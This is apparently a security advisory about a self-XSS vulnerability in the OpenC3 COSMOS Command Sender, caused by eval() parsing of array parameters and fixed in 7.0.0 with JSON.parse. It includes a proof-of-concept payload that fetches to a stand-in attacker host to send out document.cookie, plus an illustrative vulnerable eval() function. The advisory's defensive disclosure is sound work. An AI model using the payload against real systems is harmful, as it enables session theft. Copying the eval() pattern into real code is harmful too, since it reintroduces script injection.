GHSA-ffq5-qpvf-xq7x: Self-Cross-Site Scripting via Unsafe eval() in OpenC3 COSMOS Command Sender

OpenC3 COSMOS is a telemetry and command system designed to interface with embedded systems, satellites, and test equipment. The Command Sender user interface is a core component that allows operators to manually construct and transmit commands to connected hardware. Commands often require complex parameters, such as arrays or nested data structures, to properly format the outgoing telemetry frames.

The attack surface exists within the web-based Command Sender UI, specifically in the input fields designated for these array-like or structured command parameters. Versions of OpenC3 COSMOS prior to 7.0.0 fail to properly neutralize input entered into these specific parameter fields. This constitutes an Improper Neutralization of Input During Web Page Generation, categorized under CWE-79.

The vulnerability manifests because the application relies on the JavaScript eval() function to parse user-supplied strings into JavaScript objects. By providing a specifically crafted string containing executable JavaScript syntax, an attacker can force the browser to execute arbitrary code within the security context of the COSMOS application session.

The root cause of this vulnerability is the frontend application's architectural decision to use eval() for deserializing complex parameter inputs. When a user interacts with the Command Sender, they must provide values for the defined parameters of a selected command. If a command defines an array type, the frontend receives the user's input as a plain text string.

To convert this string representation back into a usable JavaScript array for subsequent processing and API transmission, the application executes eval(inputString). The eval() function invokes the JavaScript interpreter on the provided string. This is inherently unsafe when handling data derived from user input, as the interpreter cannot distinguish between data structures and executable instructions.

The vulnerability is triggered precisely when the provided string contains valid JavaScript expressions instead of, or in addition to, the expected data structure. Because no sanitization or strict type validation occurs before the evaluation, the browser executes the payload immediately upon parsing.

In the vulnerable versions of the OpenC3 COSMOS frontend, the parsing logic for array-like inputs directly invokes the eval() function. The application attempts to rapidly convert user string input representing arrays into native JavaScript arrays without enforcing a strict serialization format like JSON.

// Illustrative Vulnerable Implementation
function parseCommandParameter(inputStr) {
    // The inputStr is passed directly into eval()
    // If inputStr is "[alert(1)]", the browser executes the alert.
    let parsedArray = eval(inputStr);
    return parsedArray;
}

The remediation implemented in OpenC3 COSMOS version 7.0.0 eliminates the use of eval() for parameter parsing. The developers replaced the dynamic evaluation with secure parsing methodologies, primarily enforcing the use of JSON.parse() for structured data, which strictly validates the input as data and prevents code execution.

// Illustrative Patched Implementation
function parseCommandParameter(inputStr) {
    try {
        // JSON.parse strictly expects data formats, refusing executable code.
        let parsedArray = JSON.parse(inputStr);
        return parsedArray;
    } catch (e) {
        // Handle invalid format gracefully without execution
        console.error("Invalid parameter format");
        return null;
    }
}

Exploitation of this vulnerability requires the attacker to introduce a malicious payload into the Command Sender input fields. The attacker must target a command that expects an array or structured parameter, as these are the specific fields processed by the vulnerable eval() logic. The payload must be formatted such that it is valid JavaScript syntax, typically enclosing the payload within array brackets to align with the expected input structure.

A typical proof-of-concept payload takes the form of [alert(document.cookie)] or [fetch('https://attacker.example.com/?cookie='+document.cookie)]. When the user submits the form or triggers the field evaluation, the application executes eval("[alert(document.cookie)]"). The browser executes the alert function, demonstrating arbitrary code execution within the application's origin.

This vulnerability is classified as Self-XSS because the execution occurs in the session of the user providing the input. Weaponization requires social engineering. An attacker must convince an authenticated operator to paste a malicious string into the Command Sender, or the attacker must compromise a shared configuration file containing pre-defined malicious command parameters that the operator subsequently imports.

The execution of arbitrary JavaScript within the OpenC3 COSMOS application context yields a moderate security impact. The attacker gains full access to the Document Object Model (DOM), allowing them to read sensitive telemetry data displayed in the UI, manipulate the interface, and access session tokens stored in cookies or local storage.

Furthermore, the executed script operates with the authenticated user's privileges. The script can silently issue unauthorized commands to connected satellites or embedded systems via the COSMOS API on behalf of the victim. This compromises the integrity of the command and control infrastructure managed by the software.

The CVSS v3.1 vector evaluates to 5.4 (Moderate). The score is constrained by the strict requirement for user interaction (UI:R) and the localized nature of the execution. The attacker cannot autonomously trigger the payload against other users without relying on social engineering or secondary configuration injection vectors.

The primary and complete remediation for this vulnerability is upgrading the OpenC3 COSMOS installation to version 7.0.0 or later. This release fundamentally alters the input handling mechanism within the Command Sender UI, entirely removing the unsafe eval() calls and replacing them with secure JSON parsing and strict input validation.

For environments where immediate patching is not feasible, operational workarounds must be enforced. Administrators must instruct operators never to paste untrusted or unverified command parameters into the Command Sender interface. Any shared command configurations or scripts imported from third parties must be manually reviewed for malicious JavaScript payloads prior to execution.

Additionally, organizations can implement protective monitoring controls. Web Application Firewalls (WAFs) can be tuned to detect and alert on common JavaScript execution primitives (such as alert, fetch, document.cookie) within POST requests destined for the COSMOS API. However, client-side execution means WAFs will not prevent the initial DOM-based evaluation, making the software upgrade the only definitive fix.